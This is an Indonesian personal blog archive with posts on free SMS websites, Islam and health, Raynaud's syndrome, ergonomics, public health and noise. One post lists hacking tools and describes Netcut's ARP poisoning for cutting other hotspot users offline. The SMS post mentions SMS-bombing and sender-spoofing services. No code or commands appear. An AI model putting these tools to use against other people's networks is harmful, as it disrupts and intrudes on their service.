Wahed Labs Technologies Center

Sms gratis

2010-02-02T03:00:00.000-08:00

SMS GRATIS

Dari sekian banyak layanan yang didukung oleh ponsel, SMS adalah layanan yang paling pupoler dari sekian banyaknya layanan komunikasi. Banyak operator-operator GSM maupun CDMA yang memberikan tarif khusus untuk layanan SMS ini. Tapi semuanya tetep saja bayar, untuk yang gila SMS pulsa berapapun pasti habis. Untuk itu kalau kamu-kamu emang gila ama yang namanya SMS ada cara SMS yang gratis alias tanpa bayar dan tanpa batas, dengan SMS lewat Internet. Lewat Internet..?? Apa bisa…?? Ya tentu bisa dong… Namanya juga internet gudangnya layanan gratis ada disini, ada beberapa situs yang menyediakan layanan SMS gratis tanpa batas.

Dibawah ini situs-situs yang menyediakan layanan SMS gratis unlimited yang telah aku coba dan terbukti SMS-nya terkirim.

SINDIKAT.NET | Free SMS Indosat
Situs ini menyediakan layanan SMS gratis untuk pelanggan Indosat (IM3 dan Mentari). Cara mengirim SMS di SINDIKAT.NET adalah dengan cara mengeklik gambar mentari (untuk mengirim SMS ke nomer Mentari) atau gambar IM3 (untuk mengirim SMS ke nomer IM3). Situs ini terbukti mengirimkan SMS-nya ke nomer tujuan, yang aku baru coba itu yang ke IM3 karena emang aku punyaknya IM3 kok… he..he… :D
SMS GRATIS CYBERPHREAKING | SMS Bebas ke Semua Operator Dunia
Seperti judulnya situs ini menyediakan SMS gratis ke seluruh operator dunia, tapi ya tetep… yang aku coba baru ke IM3. Situs ini juga memberikan layanan SMS yang lain seperti SMS Bomber, Wrapper SMS Indosat (nomer pengeirim default), Indonsat Login (nomer pengirim nomer kamu sendiri) dan SMS Limited International. Tapi katanya yang SMS Bomber masih belum bisa dipakai karena masih terjadi crash di servernya. Jadi silahkan gunakan layanan yang lain.

Untuk situsnya yang aku tahu baru ini, sebenernya ada satu lagi tapi aku lupa alamatnya jadi ini aja dulu kalau mau nambahin silahkan jangan sungkan-sungkan.
Updated 26 Juni 2008

Setelah tadi dikasih tambahan tentang situs-situs yang ngasih layanan gratis sms, daripada dipendam sendiri langsung aja aku sharing aja disini. Ok ini dia link-linknya dan reviewnya

SMSWAE.COM | Free SMS from PC to Mobile
Situs ini menyediakan layanan SMS gratis ke semua telepon (nggak tau kalau operatornya). Situs ini menyediakan SMS gratis dengan maksimal 140 karakter saja. Tampilannya yang full black dan dipenuhi iklan-iklan oleh google adsense memang keliatannya nggak begitu nyaman tapi dari kelemahan itu SMSWAE.COM ini untuk mengirim SMSnya mudah sekali cukup klik tulisan send SMS dibawah iklan Google itu dan lansung nongol tuh… jendela browse baru yang mungil isinya form2 buat kirim SMS dan SMSnya dijamin sampai ditujuan nggak nyasar, udah aku buktikan lo…
SMS.KECOAKWAP.COM | PaLuiW@P SMS
Yang satu ini tampilan dari situsnya sangat minimalis dan backgroundnya full blue, di situs ini disediakan 2 pilihan login sama yang nggak. Tapi setelah aku coba yang nggak login kok nggak kekirim-kirim ya… nggak tau nyasar kemana
SMS-ANDA.COM | Kirim SMS Gratis ke Seluruh Indonesia
Situs ini terlihat lebih profesional dengan tampilan yang menyegarkan mata *yaiyalah la wong ada weweknya he…he…. Kalau disini dijatah 160 karakter. Dan ada nilai lebihnya karena disini disediakan untuk memodifikasi pesan otomatis seperti bEsAr keCil, P4k41 4n9k4 dan Disngkt-sngkt. Tapi sayangnya katanya SMSnya akan terkirim setelah 30-60 detik jadi ini yang membuat kurang mengenakkan.
CARIDUIT.CN | 100% Free SMS at Here
Kalau situs yang terakhir ini aku belum sempat coba lagi males soalnya kita harus registrasi dulu males banget kan… Kalau ada yang sudah daftar dan nyoba silahkan kasih tahu aku lewat komen ya…

Dari ke-6 situs-situs yang menyediakan sms gratis yang mana yang kamu mau silahkan aja pilih lawong gratis kan nggak ada ruginyakan…. OK selamat mencicipi. Kalau ada yang mau nambahin monggo…!!

Paradigma sehat dalam islam

2010-02-01T23:24:00.000-08:00

oleh: Muhammad Wahid Muslim

PENDAHULUAN

Kesehatan merupakan harta yang sangat berharga bagi setiap manusia. Semua nikmat dan karunia yang telah Allah SWT berikan tentulah tidak dapat kita nikmati jika kita dalam keadaan sakit, pada saat itulah kesehatan begitu penting. Maka dari itu tidak heran jika semua orang rela melakukan apapun hanya untuk dapat sehat baik jasmani maupun rohani. Dan dalam Islam pun mewajibkan setiap manusia untuk menjaga dan memelihara kesehatan tubuhnya serta memperbaikinya, maksudnya adalah mengobati atau berobat jika sakit.

Kesehatan ternyata tidak hanya menyangkut keadaan fisik semata. Namun juga mencakup aspek-aspek lain yang saling berhubungan seperti psikis, social, bahari, kerja, lingkungan,dan gizi semua itu berguna untuk tercapainya kebahagiaan dan kesejahteraan hidup lahir bathin dan duni akhirat. Jadi keliru jika hanya menghubungkan kesehatan dengan kedokteran, dan obat-obatan semata., karena kesehatan sebenarnya ditunjang oleh berbagai bidang lainnya.

Makalah ini akan membahas pengertian secara menyeluruh, dan juga menjelaskan tentang kesehatan dalam kacamata Islam. Islam sebagai agama rahmatan lil alamin menempatkan kesehatan pada posisi tersendiri.

Semoga makalah ini dapat menjelaskan dan meluruskan tentang hakikat sehat yang sebenarnya serta ajaran-ajaran islam tentang humanitas. Dan juga tentu saja makalah ini dapat membuka pikiran kita semua untuk menyadari betapa pentingnya kesehatan untuk hidup kita. Kesehatan mungkin bukan segala-galanya, tetapi tanpa kesehatan, segala-galanya itu tidak ada artinya.

PEMBAHASAN

1. Pengertian Sehat

Dalam kamus besar bahasa Indonesia kata sehat diartikan sebagai keadaan baik segenap badan serta bagian-bagiannya bebas dari sakit. Kata sehat sendiri dalam penggunaannya sering dihubungkan dengan kata afiat, yang akhirnya menjadi sehat wal afiat. Afiat dapat diartikan sehat dan kuat.

Sedangkan menurut Fu'ad Ifram al-Bustamy dalam Munjid al-Thulab, sehat adalah hilangnya penyakit, berarti pula sesuatu yang terbebas, dan selamat dari berbagai cela. Sehat dapat pula berarti segar, tidak sakit, betul, tidak salah, selamat dan terpakai. Sedangkan al-afiyah berarti kesehatan yang sempurna.

Menurut Prof. Dr. M. K. Tadjudin, sehat berarti keadaan fisik, mental, dan sosial secara lengkap dalam keadaan baik dan tidak terdapat penyakit atau kelemahan. Dimensi-dimensi kesehatan menyangkut dimensi fisik, mental, sosial, spiritual, emosional, filosofi, kebudayaan, pendidikan, nutrisi, dan lain sebagainya.

2. Sehat dalam Islam
Kata-kata sehat memang tidak terdapat di dalam al-Qur'an. Namun ini bukan berarti islam tidak peduli dengan kesehatan. Islam lebih menekankan pada sebab-sebab yang dapat menimbulkan kesehatan, seperti perintah makan dan minum yang halal dan baik, tidak berlebih-lebihan, tidak meminum dan memakan makanan dan minuman yang memabukkan, dan sebagainya. Islam sangat mementingkan kesehatan umatnya seperti pada sabda Rasulullah yang artinya: "mukmin yang kuat lebih baik dan lebih disayangi Allah dari pada mukmin yang lemah" (H.R Muslim).

Jadi jelaslah ajaran Islam memandang kesehatan sebagai sesuatu yang sangat diutamakan. Kesehatan merupakan anugrah dan nikmat dari Allah SWT, disamping nikmat dan karunia lainnya. Kesehatan merupakan faktor penunjang aktivitas seseorang.

Berpedoman kepada al-qur'an dan al-Sunnah, Islam membimbing manusia menuju hidup sehat, yaitu prilaku takwa berupa prilaku yang ditandai dengan ketaatan kepada Sang Pencipta sebagai konsep kesehatan Islami. Bagi orang islam, kesehatan merupakan rahmat Allah SWT yang tak ternilai harganya. Untuk itu ada kewajiban untuk menjaga, memelihara, dan memperbaiki kesehatan. Islam selalu mengajarkan umatnyauntuk selalu memelihara kesehatan, baik kesehatan fisik, psikis, maupun sosial guna terciptanya kebahagian dan kesejahteraan hidup lahir dan batin, dunia dan akhirat.

3. Kesehatan Jasmani
Kesehatan jasmani atau fisik merupakan keadaan yang sangat penting dalam mendukung seluruh kegiatan dalam bidang lainnya. Kesehatan fisik mencakup konsep sehat secara biologis dan juga keadaan dimana setiap sel dan organ berfungsi optimal dan harmonis.

Tanda fisik yang sehat:

ü Corak kulit yang bagus dan bersih

ü Mata bersinar

ü Berat badan ideal

ü Napas segar

ü Nafsu makan yang baik

ü Pergerakan badan yang selaras

ü dsb.

Dalam ajaran Islam upaya pemeliharaan kesehatan jasmani dan fisik ini terkait dengan ajaran bersuci (thaharah) seperti penggunaan air yang bersih dan mensucikan untuk keperluan masak, minum, mandi, berwudhu, dan sebagainya. Upaya pemeliharaan fisik ini juga ditunjang dengan ketentuan adanya sejumlah barang-barang yang dilarang untuk dikonsumsi. Barang-barang tersebut antara lain sejumlah minuman yang memabukkan, babi, anjing, bangkai, air susu binatang yang dagingnya tidak dimakan manusi, kecuali air susu manusia, darah nanah, muntah.

4. Kesehatan Rohani

Kesehatan rohani dapat diartikan sebagai keadaan rohani yang sehat yang dapat merespon berbagai pengalamanpada kehidupan dengan flexibel. Al-Qur'an berpendapat bahwa orang yang lemah iman dinilai orang yang memiliki penyakit di dadanya.

Diungkapkan oleh beberapa pakar ilmu jiwa, sebagian kompeks kejiwaan yang diderita orang dewasa disebabkan perlakuan yang diterimanya sebelum dewasa. Penyakit-penyakit kejiwaan pun beraneka ragam. Sikap angkuh, benci, dendam, fanatisme, oba, dan kikir disebabkan bentuk kelebihan seseorang. Sedangkan rasa takut, cemas, pesimis, rendah dir disebabkan oleh kekurangan. Penyakit rohani tersebut harus diatasi dengan merubahnya menjadi sikap yakin, optimis, penuh motivasi, rajin, berani, dermawan, tidak punya hutang, dan memiliki relasi yang kuat dan luas.

Jiwa yang sehat disebut dalam al-Qur'an sebagai qalbun salim. Jiwa seperti inilah yang akan selamat di akhirat, seperti firaman Allah SWT yang artinya:

"pada hari (akhirat) harta dan anak-anak tidak berguna (tetapi yang berguna tiada lain), kecuali yang datang pada Allah dengan hati yang sehat" (QS. Al-Syu'ara:88-89)

Upaya mewujudkan yang demikian itu ditunjukkan oleh Allah SWT dan Rasul-Nya. Caranya adalah dengan senantiasa mengingat Allah, menegrjakan segala perintah-Nya sebagaimana dinyatakan oleh firman Allah SWT yang artinya: "Sesungguhnya dengan mengingat Allah, jiwa akan memperoleh ketenangan" (QS. Al-Ra'd:28)

5. Kesehatan Sosial

Sosial yang sehat adalah dimana sosial yang harmonis dan berintegrasi diantara individual, antara setiap individu dan anggota lain sosial, dan antara individual dengan dunia dimana ia hidup. Dari ayat al-Qur'an dan hadits dijumpai ajaran etika bermasyarakat antara lain tentang saling tolong menolong, saling hormat menghormati, saling menasehati, saling asah, asih, dan asuh. Ayat al-Qur'an tersebut antara lain, yang artinya: "dan tolong menolonglah kamu dalam (mengerjakan) kebajikan dan takwa, dan janganlah tolong menolong dalam berbuat dosa dan pelanggaran. Dan bertakwalah kamu kepada Allah, sesungguhnya Allah amatlah besar siksanya" (QS. Al-Maidah:2)

BAB III

ANALISA DAN KESIMPULAN

Melihat dari pembahasan di atas, ternyata banyak sekali aspek yang mendukung kesehatan. Sehat tidak hanya dilihat dari segi fisik, namun juga termasuk aspek rohani dan juga sosialnya. Ketiga aspek tersebut sangatlah berhubungan satu sama lain. Jika keadaan fisik sedang ada gangguan atau tidak sehat, maka secara psikologis atau kerohanian juga akan terganggu “dalam badan yang sehat terdapat akal yang sehat” sedangkan Seseorang yang fisiknya tidak sehat akan merasa sangat tidak nyaman. Dan perasaan tidak nyaman itulah yang juga akan berakibat kepada prilaku sosialnya. Ia menjadi tidak bisa berprilaku sebagaimana mestinya dan akhirnya dapat mengganggu keharmonisan hubungan sosialnya, maupun sebaliknya jika kehidupan social seseorang tidak baik misalnya saja dalam gaya hidupnya sehingga dapat menimbulkan penyakit pada ketidak sehatan fisik yang nantinya akan berpengaruh pada kesehatan rohaninya.

Kesehatan dalam islam tentu saja memegang peran yang sangat penting. islam bahkan memberikan petunjuk-petunjuk untuk menjaga kesehatan. Kebersihan yang merupakan faktor utama pendorong kesehatan bahkan sangat ditekankan di dalam Islam. Karena itulah kita wajib berwudhu dan dalam keadaan suci pada saat shalat atau ibadah-ibadah lainnya. Islam juga sudah memberikan jalan bagaimana dapat mencapai kesehatan yang sempurna, mulai dari kesehatan fisik, rohani, serta sosial.

Kesimpulan:

kesehatan mencakup tiga aspek utama, yaitu fisik, rohani, dan sosial. Ketiga aspek ini sangat mempengaruhi satu sama lain.

kesehatan dalam ajaran Islam adalah hal yang sangat penting dan menjadi sorotan dalam Islam. Al-qur'an dan hadits sudah memberikan petunjuk untuk mencapai kesehatan yang sempurna.

==000==

DAFTAR PUSTAKA

ü Yamani, JF. 2006. Kedokteran Islam Sejarah dan Perkembangannya. Bandung: Dzikra

ü MAKALAH SEJARAH KEDOKTERAN DAN KESEHATAN

ü PARADIGMA SEHAT DALAM ISLAM

Fakultas Kedokteran dan Ilmu Kesehatan

Universitas Islam Negeri Syarif Hidayatullah Jakarta

2007-2008

Tools Hacking Review

2010-02-01T19:39:00.001-08:00

:: TOOLS HACKING REVIEW ::

Ini adalah seperangkat alat-alat yang digunakan oleh para hacker untuk melakukan aktifitas hackingnya. Untuk mendownloadnya, silahkan masuk ke link download di atas. Gunakan dengan bijak dan bertanggung jawab, Just For Educational Purposes Only.

1. Netcut

Netcut adalah aplikasi yang digunakan oleh para “hacker” dengan prinsip kerja “arp poistioning” atau dengan kata lain Hacker berada ditengah lalu menghambat lalu lalang paket data (UDP, TCP) dari Mikrotik ke komputer Victim (Man In The Midle Attack). Sehingga, komputer Victim terputus jaringan internetnya. Biasa digunakan oleh para Hacker di area hostpot/WiFi Public/LAN. Ketika bandwithnya sedang down akibat banyaknya pengguna WiFi atau dengan tujuan “hanya” membuat komputer korban dan Hacker yang bisa online sehingga kecepatan download data dari komputer Victim yang telah ter-Hijacked (Terkuasai) menjadi lebih cepat.

2. Nmap

Nmap merupakan alat “scanner” atau alat yang digunakan oleh para hacker untuk melakukan scanning terhadap komputer Victim dengan tujuan untuk mencari “Vulnerbility” atau kelemahan sistem dari komputer korban baik berupa “port (Pintu/lubang komunikasi data dari komputer ke service di Internet) yang terbuka, Sistemnya (Operating System, Netbios, dll),sampai melakukan topologi (memetakan) jaringan. Proses scanning untuk mencari vulnerbility ini biasa disebut sebagai “Footprinting”.

3. Winfingerprint

Winfingerprint sama penggunaannya seperti nmap. Namun, kekurangannya hanya tidak mampu memetakan topologi jaringan sebaik nmap dalam bentuk visual.

4. Metasploit

Metasploit adalah kumpulan exploit-exploit (kelemahan-kelemahan sistem komputer) dan telah di uji coba. Sehingga, sering digunakan untuk mem “Patch (menambal kelemahan sistem)” oleh para pakar IT jika sistem mereka bisa di exploitasi. Penggunaanya seiring dengan alat-alat scanner seperti nmap dan winfingerprint.

SINDROM RAYNAUD

2010-01-31T05:33:00.000-08:00

SINDROM RAYNAUD’S

oleh: Muhammad Wahid Muslim

A. APA ITU SINDROM RAYNAUD’S

Sindrom Raynaud’s adalah sebuah kondisi di mana pembuluh-pembuluh nadi terkecil yang membawa darah ke ujung-ujung jari tangan atau kaki terhambat (menyebabkan kejang urat - spasm) ketika terpapar kondisi dingin atau sebuah gangguan emosional. Merokok atau bekerja dengan mesin-mesin yang menyebabkan getaran (vibrasi) juga dapat menyebabkan Sindrom Raynaud’s. Pembuluh vena yang kecil biasanya terbuka, jadi darah mengalir keluar melalui kapiler-kapiler darah. Jika ada kejang urat (spasm) di pembuluh vena kecil darah terhambat di kapiler-kapiler darah, Pada akhirnya ujung-ujung jari tangan atau kaki menjadi biru akibat darah kehilangan oksigen. Pada akhirnya ujung-ujung jari tangan atau kaki menjadi pucat, dingin, dan kaku. Sindrom Raynaud’s kadang-kadang disebut juga Fenomena Raynaud’s atau Penyakit Raynaud’s.

Orang-orang menyakini sebaiknya Sindrom Raynaud’s diperiksa oleh dokter untuk dipastikan diagnosisnya, dan jika diperlukan bisa mendapatkan perawatan. Sebagian besar orang hanya butuh merubah sedikit gaya hidupnya untuk mengatasi Sindrom Raynaud’s. Dalam beberapa kasus saat ini, vasodilators (pengobatan dengan relaksasi dan pelebaran pembuluh darah) mungkin dapat menjaga pembuluh darah menjadi terhambat. (http://www.americanheart.org/presenter.jhtml?identifier=4687).

B. SINDROM RAYNAUD’S – PENYEBAB – DIAGNOSIS – GEJALA – PERAWATAN

Sindrom Raynaud’s adalah sebuah kondisi yang berhubungan dengan arthritis yang mana ditemukan ketika pembuluh darah terhambat. Ujung-ujung jari tangan atau kaki adalah daerah-daerah yang biasanya terkena Sindrom Raynaud’s. Kemungkinan juga bisa terjadi pada daerah hidung, bibir, dan lubang telinga. Penurunan aliran darah dapat menyebabkan kesakitan dan ketidaknyamanan di area yang terkena dan discloration pada kulit. Bagi banyak orang, serangan ini biasanya disebabkan oleh keadaan dingin dan stress / emosi. Raynaud’s dapat ditemukan sebagai kondisi primer (utama) atau sekunder. Sebagai kondisi primer, Raynaud’s tidak berhubungan dengan penyakit lain dan sering disebut Penyakit Raynaud’s. Kondisi rematik (rheumatic) berhubungan dengan Raynaud’s sekunder meliputi :

· Scleroderma

· Lupus

· Rheumatoid Arthritis

· Sindrom Sjogren’s

· Dermatomyositis

· Polymyositis

· Peny. Mixed Connective Tissue

Institusi Nasional Arthritis, Musculoskeletal, dan Kulit mengestimasi bahwa 5 – 10 % populasi Amerika Serikat terkena Fenomena Raynaud’s. (raynauds-syndrome-causes-diagnosis-symptoms-treatment.htm - 24k - Tembolok - Halaman sejenis).

C. FAKTA – FAKTA DINGIN TENTANG KEADAAN SERIUS TANGAN YANG DINGIN (THE COLD FACTS ABOUT SERIOUSLY COLD HANDS)

Tangan dan kaki yang dingin adalah sebuah kondisi yang biasa ditemukan, biasanya disebabkan oleh cuaca yang dingin, tidak menggunakan pakaian hangat yang cukup atau sirkulasi yang kurang. Pada banyak kasus, sepasang sarung tangan dan kaos kaki yang tebal akan membuat pasien merasa hangat kembali.

Tetapi pada bagian mana, kondisi tangan yang dingin menjadi sebuah tanda masalah yang lebih serius? Dr. Robert Spiera, Direktur Vaskulitis dan Skleroderma pada RS Spesial Pembedahan di New York menjelaskan Sindrom Raynaud’s merupakan keadaan yang biasa terjadi pada banyak kasus tentang tangan atau kaki yang dingin.

D. APA ITU SINDROM RAYNAUD’S

Sindrom Raynaud’s adalah sebuah kondisi di mana orang-orang mengalami kejang urat (spasm) pada pembuluh darah yang menuju tangan dan kaki. Kejang urat (spasm) ini sering terjadi akibat paparan dingin, tetapi juga dapat disebabkan oleh situasi stress. Sindrom Raynaud’s merupakan sesuatu yang biasa terjadi, terutama pada wanita muda. Beberapa estimasi mengatakan bahwa 10 % wanita mengalami Fenomena Raynaud’s.

E. APA GEJALA – GEJALA DARI RAYNAUD’S

Gejala–gejala Raynaud’s antara lain, tangan dan kaki berubah warna. Kebanyakan tipe, pertama kali berubah menjadi warna putih, kemungkinan diikuti oleh sebuah tahap di mana tangan dapat menjadi sangat kebiru-biruan dan kemudian pada tahap akhir menjadi kemerah-merahan. Kondisi ini disebut “Tiga Warna Perancis” yang sesuai dengan perubahan warna pada Raynaud’s, yaitu : putih, biru, dan merah. Warna ini berubah karena perubahan aliran darah ke anggota badan. (warna putih disebabkan oleh kekurangan darah).

F. APA YANG KAMU CEMASKAN TENTANG SINDROM RAYNAUD’S JIKA KAMU SERING MENDAPATKAN KONDISI TANGAN YANG DINGIN

Gejala-gejala Raynaud’s dapat jatuh ke dalam sebuah spektrum dalam hubungan kegawatan (severity) penyakit. Ada orang-orang yang sensitif terhadap dingin dan tangan mereka menjadi putih pada cuaca yang dingin, hal ini merupakan respon fisik / tubuh yang normal. Tetapi ketika oiang-orang mempunyai Sindrom Raynaud’s, respon fisik / tubuh lebih cepat perubahannya, mereka dapat langsung melihat perubahan warna tersebut.

G. MENGAPA ORANG – ORANG DENGAN SINDROM RAYNAUD’S TANGAN DAN KAKINYA MENJADI DINGIN

Raynaud’s merupakan respon fisik yang normal. Jika beberapa bagian tubuh terpapar dingin, respon fisik yang normal terhadap tubuh seseorang untuk memelihara temperatur inti tubuh dan mencegah kehilangan panas pada anggota badan. Jadi tubuh akan menjaga pembuluh peripheral untuk mengalirkan darah menuju organ vital untuk memelihara panas. Tetapi pada orang-orang dengan Raynaud’s, respon yang normal ini di exaggerated. Sebagai contoh, frostbite tidak berhubungan dengan Raynaud’s, tetapi disebabkan oleh respon yang sama.

H. APA YANG MENYEBABKAN FENOMENA RAYNAUD’S

Ada hubungan yang dekat antara Raynaud’s dengan Fenomena Raynaud’s, tetapi gejala-gejala Raynaud’s biasanya menunjukkan beberapa penyakit lain. Ada beberapa autoimun atau penyakit yang berhubungan dengan jaringan disebabkan oleh Raynaud’s. Sebagai contoh, Raynaud’s ditemukan di dalam hampir setiap bagian tubuh dengan scleroderma (sebuah penyakit kronik yang berhubungan dengan jaringan). Jadi, saat beberapa orang hanya mempunyai Raynaud’s saja dengan gejala-gejala yang ringan ketika mereka berada pada kondisi yang sangat dingin. Orang-orang dengan scleroderma, Raynaud’s dapat juga menyebabkan cedera pada ujung-ujung jari tangan mereka akibat kekurangan aliran darah. Hal ini akan menyebabkan kekurangan suplai darah yang pada akhirnya mereka akan mendapatkan ulserasi pada ujung-ujung jari atau autoamputasi (pelepasan) ujung-ujung jari. Pada pasien seperti ini, dengan scleroderma dan Raynaud’s, perubahan pembuluh darah dapat dilihat, hal ini akan mempertebal pembuluh darah di mana akan menyebabkan kehilangan beberapa ruang untuk aliran darah.

I. BAGAIMANA RAYNAUD’S DIDIAGNOSIS

Raynaud’s sesungguhnya sebuah deskripsi klinik. Jalan untuk mendiagnosis Raynaud’s dengan mendapatkan sejarah penyakit yang bagus dari pasien dan bertanya kepada pasien untuk menggambarkan apa yang terjadi pada tangan mereka. Jika pasien berkata, “Dokter, pada paparan udara yang dingin atau selama kondisi stress, tangan saya menjadi putih dan mungkin menjadi kebiru-biruan.” Jawaban ini jelas memberikan gambaran kepada dokter untuk mendiagnosis bahwa hal tersebut adalah Raynaud’s.

J. Penyakit apa saja yang berhubungan dengan fenomena raynaud’s

Kita menemukan pasien-pasien dengan penyakit autoimun mempunyai frekuensai yang lebih besar terkena Raynaud’s dibandingkan populasi secara umum. Scleroderma mempunyai hubungan yang kuat. Dalam Sindrom Fosfolipid, seseorang yang mempunyai protein dalam darah juga disebut Raynaud’s. Kita juga dapat melihat Raynaud’s pada pasien lupus.

K. PERAWATAN YANG DILAKUKAN TERDIRI DARI APA

Memelihara temperatur panas tubuh sangat penting. Ada juga pengobatan yang kadang-kadang dilakukan oleh orang-orang yang mempunyai Raynaud’s yang sangat buruk. Satu kelompok obat-obatan yang digunakan disebut ‘Calcium Channel Blockers,’ seperti Procardia (Nifedipine) atau Norvasc (Amlodipine) dan biasanya digunakan sebagai obat-obatan tekanan darah tinggi. Untuk Raynaud’s, obat-obatan ini memperluas pembuluh darah dan sirkulasi darah. Hal ini sangat penting sebagai catatan bahwa obat-obat tersebut tidak mengeliminasi Raynaud’s secara keseluruhan. Obat-obatan tersebut akan menurunkan frekuensi dan kegawatan serangan. Menghentikan merokok juga sangat penting untuk dilakukan oleh penderita Raynaud’s. Merokok dapat menyebabkan kejang urat (spasm) pada pembuluh darah. (http://www.dentalplans.com/Dental-Health-Articles/The-Cold-Facts-About-Seriously-Cold-Hands.asp).

Bahaya Ergonomi

2010-01-31T05:26:00.000-08:00

oleh: Muhammad Wahid Muslim

A. Repetitive Motions

Adalah melakukan gerakan yang sama berulang-ulang. Resiko yang timbul bergantung dari berapa kali aktifitas tersebut dilakukan, kecepatan dalam pergerakan/perpindahan, dan banyaknya otot yang terlibat dalam kerja tersebut. Gerakan yang berulang-ulang ini akan menimbulkan ketegangan pada syaraf dan otot yang berakumulatif. Dampak resiko ini akan semakin meningkat apabila dilakukan dengan postur/posisi yang kaku dan penggunaan usaha yang terlalu besar.

B. Awkward Postures

Sikap tubuh sanga menentukan sekali pada tekanan yang diterima otot pada saat aktivitas dilakukan. Awkward postures meliputi repetitive reaching, twisting, bending, kneeling, squatting, working overhead dengan tangan maupun lengan, dan menahan benda dengan posisi yang tetap. Sebagai contoh terdapat tekanan/ketegangan yang berlebih pada bagian low back seperti aktifitas mengangkat benda yang dilakukan pada gambar.

C. Contact Stresses

Tekanan pada bagian tubuh yang diakibatkan karena sisi tepi atau ujung dari benda yang berkotak langsung. Hal ini dapat menghambat fungsi kerja syaraf maupun aliran darah. Sebagai contoh kontak yang berulang-ulang dengan sisi yang keras/tejam pada meja secara kontinu

D. Vibration

Getaran ini terjadi ketika spesifik bagian dari tubuh atau seluruh tubuh kontak dengan benda yang bergetar seperti menggunakan power handtool dan pengoprasian forklift mengangkat beban

E. Forceful exertions (termasuk lifting, pushing, pulling)

Force adalah jumlah usaha yang digunakan untuk melakukan pekerjaan seperti mengangkat benda berat. Jumlah tenaga bergantung pada tipe pegangan yang digunakan, berat objek, durasi aktivitas, poster tubuh dan jenis dari aktivitasnya.

F. Duration

Durasi menunjukkan jumlah waktu yang digunakan dalam melakukan suatu pekerjaan. Semakin lama durasinya dalam melakukan pekerjaan yang sama akan semakin tinggi resiko yang diterima dan semakin lama waktu yang diperlukan untuk pemulihan tugasnya.

Public Health

2010-01-31T00:55:00.000-08:00

KESEHATAN MASYARAKAT

by: Muhammad Wahid Muslim

1. Kesehatan Masyarakat

Kesehatan Masyarakat adalah ilmu dan seni yang bertujuan untuk mencegah penyakit, memperpanjang umur, dan meningkatkan efisiensi hidup masyarakat melalui upaya kelompok-kelompok masyarakat yang terkoordinasi, perbaikan kesehatan lingkungan, mencegah dan memberantas penyakit menular dan melakukan pendidikan kesehatan untuk masyarakat atau perorangan (Winslow).

2. Aksiologi Kesehatan Masyarakat

adalah baik dalam bidang promotif, preventif, kuratif, dan rehabilitatif agar masyarakat dapat mencapai derajat kesehatan masyarakat yang setinggi-tingginya baik fisik, mental, sosial serta diharapkan berumur panjang.
Equity: Pemerataan yang adil berdasarkan kebutuhan
Efektf: Program dan pelayanan yang bermutu
Efisien: Penggunaan sumber daya yang cukup, tidak kurang dan tidak lebih
Substainable: berkelanjutan

3. Etika Ilmu Kesehatan Masyarakat dalam profesinya
1. Asas Solidaritas
2. Evidence Based
3. Utamakan Promotif dan Preventif
4. Intervensi yang Cost Effective
5. Equity, Efisiensi, dan Quality
6. Etika Umum: Jujur, saling Hormat

4. Falsafah Ilmu Kesehatan Masyarakat

a. Pelaksanaan kegiatan kesehatan masyarakat harus dapat diterima oleh semua lapisan masyarakat.

b. Mencakup semua upaya-upaya untuk meningkatkan derajat kesehatan masyarakat

c. Dalam melakukan kegiatannya selalu melibatkan peran aktif masyarakat secara terorganisasi.

d. Kegiatan-kegiatan masyarakat yang terorganisir tersebut dalam pelaksanaannya senantiasa melibatkan berbagai bidang spesialisasi

e. Menggalang kerjasama lintas sektoral dan lintas program dari instansi terkait.

5. Ruang Lingkup Kegiatan Kesehatan Masyarakat

a. promotif (Peningkatan Kesehatan)
Contoh: Peningkatan Gizi, Pemeliharaan Kesehatan Perorangan, Olah Raga Secara Teratur, Istirahat yang Cukup dan Rekreasi, Sehingga Seseorang dapat mencapai tingkat Kkesehatan yang optimal.

b. Preventif (Pencegahan Penyakit)
Contoh: Pemberian Imunisasi Pada Bayi dan Anak, dll

c. Kuratif (Pengobatan)

d. Rehabilitatif (pemulihan Kesehatan)

6. Prinsip Dasar Kesehatan Masyarakat

a. Kesehatan masyarakat lebih mengutamakan usaha promotif dan preventif daripada kuratif.

b. Dalam usaha promotif dan preventif selalu mempergunakan biaya yang serendah-rendahnya dengan mengharapkan hasil yang sebaik-baiknya.

c. Usaha Kesehatan masyarakat berlandaskan kepada kegiatan masyarakat sebagai pelaku (subjek) maupun sasaran (objek) dengan kata lain, Kesehatan Masyarakat dari masyarakat untuk masyarakat dan oleh masyarakat.

d. Dalam usaha kesehatan masyarakat selalu melibatkan masyarakat secara terorganisasi.

e. Usaha-usaha kesehatan masyarakat yang dijalankan harus diangkat dari masalah-masalah kesehatan yang ada di masyarakat.

Apa dan Bagaimana Kebisingan itu?

2010-01-30T21:09:00.001-08:00

2.1. Defenisi Kebisingan

Kebisingan merupakan "suara yang tak dikehendaki” yang dapat mengganggu tidur serta aktivitas lain, dapat mengakibatkan efek pada Kesehatan terutama pada pendengaran bahkan bisa mengakibatkan kehilangan pendengaran.

Selain definisi tersebut, terdapat beberapa pengertian kebisingan, antara lain:

Menurut Keputusan Menteri Tenaga Kerja No.KEP-51/MEN/1999 menyebutkan bahwa kebisingan adalah semua suara yang tidak dikehendaki yang bersumber dari alat-alat proses produksi dan atau alat-alat kerja yang berada pada titik tertentu dapat menimbulkan gangguan pendengaran.
Suma’mur (1995) menyatakan bunyi didengar sebagai rangsangan-rangsangan pada telinga oleh getaran-getaran melalui media elastis dan jika bunyi tersebut tidak dikehendaki, maka bunyi dinyatakan sebagai kebisingan.
Zaeni Budiono (1994) menyatakan kebisingan sebagai semua bunyi yang mengalihkan perhatian, mengganggu, atau berbahaya bagi kegiatan sehari-hari, dianggap bising. Walaupun banyak pakar mendefinisikan tentang bising, tetapi secara umum bising didefinisikan sebagai tiap bunyi yang tidak diinginkan oleh penerimanya.
Subagio (1992) dalam Sukar menyatakan kebisingan merupakan salah satu polutan yang sering mendapat protes dan pada umumnya merupakan hasil samping pemanfaatan teknologi.

Sedangkan menurut Peraturan Menteri Kesehatan R.I. No.718/MENKES/PER/XI/1987 tentang kebisingan yang berhubungan dengan kesehatan bahwa kebisingan adalah terjadinya bunyi yang tidak dikehendaki dehingga mengganggu dan membahayakan kesehatan.

2.2 Sumber – Sumber Kebisingan

Sumber bising utama dapat diklasifikasikan dalam 2 kelompok, yaitu:

Bising interior, berasal dari manusia, alat rumah tangga, atau mesin-mesin gedung, misalnya radio, televisi, bantingan pintu, kipas angin, komputer, pembuka kaleng, pengkilap lantai, dan pengkondisi udara.
Bising eksterior, berasal dari kendaraan, mesin-mesin diesel, transportasi.

